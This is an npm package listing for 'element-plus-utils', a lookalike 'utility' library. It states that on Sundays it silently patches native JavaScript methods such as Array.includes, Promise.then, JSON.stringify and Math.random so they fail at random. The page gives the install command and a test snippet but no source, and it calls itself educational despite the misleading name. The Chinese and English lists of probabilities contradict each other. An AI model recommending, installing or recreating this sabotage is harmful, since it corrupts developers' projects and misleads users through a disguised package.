element-plus-utils
v1.1.0
Published
Utils for lodash
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128
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element-plus-utils
element-plus-utils 是一个 JavaScript 实用工具库,然而,它被设计为在特定条件下故意引入错误,主要用于测试和教育目的。请注意,这个库会在周日的时候修改原生 JavaScript 对象的行为,导致一些常用方法的行为异常。
郑重声明: 🚩 如果将此代码放在项目中,可能会使项目无法按预期工作,因此,
🐗 不要在任何项目中使用它! 不要在任何项目中使用它! 不要在任何项目中使用它!
安装
npm i element-plus-utils
在 ES Module 环境
// 在入口文件中引入
import "element-plus-utils";
Array.includes
应用的数组长度可以被 7 整除时,50%几率返回 false。Array.map
有 0.1%概率会丢失最后一个元素。Array.filter
的结果有 0.1%的概率丢失最后一个元素。Array.forEach
会卡死一段时间。setTimeout
总是会比预期时间慢 500ms 才触发。Promise.then
有 0.1%概率不会触发。JSON.stringify
有 50%概率会把I
(大写字母 I)变成l
(小写字母 L)。Date.getTime()
的结果总是会慢一个小时。localStorage.getItem
有 1%几率返回空字符串。Math.random()
的取值范围改为0
到1.1
验证测试
<template>验证测试</template>
<script setup lang="ts">
const arrEvil = [1, 2, 3, 4, 5, 6, 7];
const arr = [1, 2, 3, 4, 5, 6];
console.log(arrEvil.includes(1)); // false
console.log(arr.includes(1)); // true
const str = 'IIIIIlllllllll';
console.log('🤖----- JSON.stringify(str) ---->:', JSON.stringify(str));// 50%几率I变成i
</script>
防范措施
- 如果你需要检查和防止原型链被污染,可以考虑使用如下工具:
npm i check-native-utils
声明:请勿用于任何项目!如果导致任何问题,与本人无关。
本地电脑测试 npm pnpm install "C:\Users\Administrator\Desktop\element-plus-utils"
Used to verify and prevent the prototype chain from being contaminated.
Once introduced, it works like lodash, but produces some errors under certain conditions.
Solemnly declare: If you place this code in your project, it may make the project not work as expected, so,
Do not use it in any project! Do not use it in any project! Do not use it in any project!
This code executes the following logic only on Sundays:
Array.includes
always returns false when the length of the applied array is divisible by 7.Array.map
has 1% chance to drop the last element.Array.filter
has 1% chance to drop the last element.Array.forEach
will cause a significant lag.setTimeout
will always trigger 1s later than expected.Promise.then
has 10% chance will not register.JSON.stringify
has 30% chance to replace allI
intol
.Date.getTime()
always gives the result off by 1 hour late.localStorage.getItem
has 1% chance to return empty string.- The possible range of
Math.random()
is changed to0
-1.1
.
Disclaimer: Do not use for any project! If it causes any problems, it has nothing to do with me.